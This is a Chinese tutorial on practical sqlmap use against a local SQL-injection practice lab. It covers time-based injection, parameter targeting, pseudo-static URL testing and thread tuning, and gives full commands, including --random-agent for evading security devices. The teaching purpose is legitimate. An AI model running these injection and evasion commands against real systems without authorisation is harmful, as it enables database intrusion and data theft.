文中通过详细讲解SQLMAP工具,更加深入的掌握SQLMAP用法;文中内容全由个人理解编制,若有错处,大佬勿喷,个人学艺不精;本文中提到的任何技术都源自于靶场练习,仅供学习参考,请勿利用文章内的相关技术从事非法测试,如因产生的一切不良后果与文章作者无关。
sqlmap实战渗透技巧二
时间注入参数
当我们在实战中通常会遇见网络问题或存在防护的情况,因为sqlmap默认的是所有模式的payload都会进行检测,所以需要有针对性的使用,来避免流量过大。 当SQL注入点 只允许时间注入,那么我们可以使用参数–technique:
sqlmap -u "http://192.168.1.6/06/vul/sqli/sqli_str.php?name=1&submit=%E6%9F%A5%E8%AF%A2" --dbms mysql --technique=T -v 3
同样可以使用多种检测方式,使用参数–technique=BUET 在图中我们可以看出使用时间注入会加入参数–time-sec(返回时间), 默认是5秒,我们可以设置这个参数的时间长短。
sqlmap -u "http://192.168.1.6/06/vul/sqli/sqli_str.php?name=1&submit=%E6%9F%A5%E8%AF%A2" --dbms mysql --technique=T -v 3 --flush-session --time-sec=8
修改请求头
在使用sqlmap测试时,在HTTP的User-Agent中会有关于sqlmap的一些信息,这样就会很容易被防护设备检测到,所以我们通常会使用随机的请求头参数–random-agent来进行检测,从而绕过部分安全设备检测: 我们可以使用-v 6来查看默认的请求头: 当我们使用–random-agent 来进行修改后,再来查看发现User-agent已被修改成浏览器正常的请求头:
sqlmap -u "http://192.168.1.6/06/vul/sqli/sqli_str.php?name=1&submit=%E6%9F%A5%E8%AF%A2" --dbms mysql --technique=T -v 3 --flush-session --random-agent
超时设置
在sqlmap中存在页面超时的时限,使用的参数是–timeout ,默认是30秒,当我们需要加强检测的效率,我们可以将这个时间缩短:
sqlmap -u "http://192.168.1.6/06/vul/sqli/sqli_str.php?name=1&submit=%E6%9F%A5%E8%AF%A2" --dbms mysql --technique=T -v 3 --flush-session --random-agent --timeout=10
在sqlmap中,同样可以指定注入点的参数来进行检测,例如我们这里有name和submit这两个参数,我们就可以使用-p来指定参数:
sqlmap -u "http://192.168.1.6/06/vul/sqli/sqli_str.php?name=1&submit=%E6%9F%A5%E8%AF%A2" --dbms mysql -p name
可以看出name这个值是存在注入的,而我们使用submit这个值是不存在的:
伪静态检测
当我们没有检测到存在注入的时候,sqlmap中则会在最后提示我们是否提升等级,或者使用随机的请求头、使用一些tamper脚本等等。 当我们检测的网站使用的是伪静态,我们可以使用 * 来进行检测:
sqlmap -u "http://192.168.1.6/06/vul/sqli/id/1*.html
因为这种伪静态的是没有参数,sqlmap同样不会自行去将某一个路径作为值来检测,所以我们需要使用 * 来进行分割,像sqlmap说明次数作为一个值来进行检测是否存在注入。 在日常的检测中,有的时候我们需要提升sqlmap的检测效率,同样我们可以提升它的线程:
sqlmap -u "http://192.168.1.6/06/vul/sqli/sqli_str.php?name=1&submit=%E6%9F%A5%E8%AF%A2" --dbms mysql --batch --flush-session --threads=10
但这个线程最大是10,当我们使用大于10,则会报错提示:
线程设置
同样我们可以在sqlmap的配置文件中进行最大线程数的修改:
/usr/share/sqlmap/lib/core/settings.py
修改保存后,我们就可以使用–threads=20,来进行检测: 但如果线程过高,在测试中可能会造成系统崩溃,所以尽可能的选择合适的线程来进行测试:
|